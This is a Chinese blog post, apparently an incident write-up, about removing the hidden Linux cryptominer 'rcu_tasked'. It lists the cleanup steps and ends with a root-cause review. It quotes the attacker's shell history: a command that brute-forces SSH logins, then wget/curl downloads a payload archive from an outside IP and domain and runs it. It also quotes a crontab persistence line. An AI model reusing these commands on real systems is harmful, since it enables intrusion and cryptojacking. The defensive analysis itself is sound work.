【安全】查杀linux隐藏挖矿病毒rcu_tasked

淡淡的烟草味﹌ 2024-04-26 10:52 99阅读 0赞

## 记录一次项目中挖矿病毒的经历 ##

这是黑客使用的批量蔓延病毒的工具，通过如下脚本

[root@Server .cfg]# cat /home/pischi/.bash_history
    cd /root/
    nvidia-smi;ls -a;cd .cfg;ls -a;wc -l ip
    ./key 20 -f ip pass 22 "nproc;nvidia-smi;rm -rf .cfg;mkdir .cfg;cd .cfg; wget 193.42.32.96/m.tar || curl -O vvnnmm.com/m.tar ; tar xvf m.tar || tar xvf m.tar.1 ; rm -rf m.tar*;chmod +x *;./dealer"

![在这里插入图片描述][6fd76308479a430d940b3a478b3721ad.png]

/root/.cfg/目录下的病毒源文件  
![在这里插入图片描述][0e148ae5202c460d90c208818177c284.png]  
目前未查清楚原文件是通过隐藏在什么程序中带过来的，这是一大遗憾

### 中毒现象 ###

中毒现象提现未cpu占用100%，且通过top、netstat、ps等命令找不到进程号  
![在这里插入图片描述][66b68b9fbbb74c51b6ed4bdff30c4d65.png]  
挖矿的矿池IP，全是国外的IP，大概看了一下，基本是德国、芬兰、印度、美国等地区的  
![在这里插入图片描述][8fe60dc3453542b7a31da74fe2a0627a.png]  
![在这里插入图片描述][1040c8da975249cb9c493d3f72f71ccd.png]

另外存在未知跟root权限一样高的用户“pischi”  
![在这里插入图片描述][7482c94385124964810c8fd5b3a52474.png]

### 解决方案 ###

主要策略就是找到病毒，然后删除，如下是相关的命令

# 病毒清除
    
    rcu_tasked，伪装挖矿程序清除
    
    # 病毒通过这个文件实现隐藏进程ID，将里面的内容/usr/local/lib/libextrasshd.so删除即可
    rm -f /etc/ld.so.preload 
    
    rm -f /usr/local/lib/libextrasshd.so
    
    rm -rf /root/.cfg/
    rm -rf /usr/bin/mslog/
    rm -f /usr/bin/player
    
    找到rcu_tasked病毒进程
    netstat -antp
    ps -ef | grep rcu_tasked
    kill -9 xxx
    
    systemctl disable myservice
    rm -f /lib/systemd/system/myservice.service
    
    删除 pischi 用户
    vipw
    
    删除 pischi shadow
    vipw -s
    
    删除pischi用户目录
    rm -rf /home/pischi/
    
    删除定时任务
    crontab -e
    删除此行
    @monthly /root/.cfg/./dealer  > /dev/null 2>&1 & disown
    
    重启操作系统
    reboot

### 复盘原因 ###

前期项目比较着急，统一使用了一个跳板机，多人使用且均用了root用户，权限管控不到位，所有机器密码都一样，这期间可能密码泄露导致了此问题

参考文档  
[系统杀毒复盘][Link 1]  
[隐藏挖矿木马rcu\_tasked的查杀][rcu_tasked]  
[【安全】查杀linux上c3pool挖矿病毒xmrig][linux_c3pool_xmrig]  
[【安全】查杀linux挖矿病毒 kswapd0][linux_ kswapd0]  
[【安全】查杀linux隐藏挖矿病毒rcu\_tasked][linux_rcu_tasked]  
[【安全】挖矿木马自助清理手册][Link 2]

[6fd76308479a430d940b3a478b3721ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/210d8a6d4de84feead420572472f8970.png
[0e148ae5202c460d90c208818177c284.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/b9cc287599bc47c195cf72e60cab5392.png
[66b68b9fbbb74c51b6ed4bdff30c4d65.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/e81ea399b8df4f11b65fe6eb45e601c0.png
[8fe60dc3453542b7a31da74fe2a0627a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/9c77ab404a0049c98eb801a06e0c4072.png
[1040c8da975249cb9c493d3f72f71ccd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/f42c514bbf0e4d7fb6d8b2777f506f49.png
[7482c94385124964810c8fd5b3a52474.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/9f1bbf909c2743c09c936de858cdfc66.png
[Link 1]: https://zhuanlan.zhihu.com/p/647608875
[rcu_tasked]: https://blog.csdn.net/lqzkcx3/article/details/132227662
[linux_c3pool_xmrig]: https://blog.csdn.net/UberSoldier/article/details/137773179
[linux_ kswapd0]: https://blog.csdn.net/UberSoldier/article/details/137636829
[linux_rcu_tasked]: https://blog.csdn.net/UberSoldier/article/details/134039899
[Link 2]: https://blog.csdn.net/UberSoldier/article/details/137676834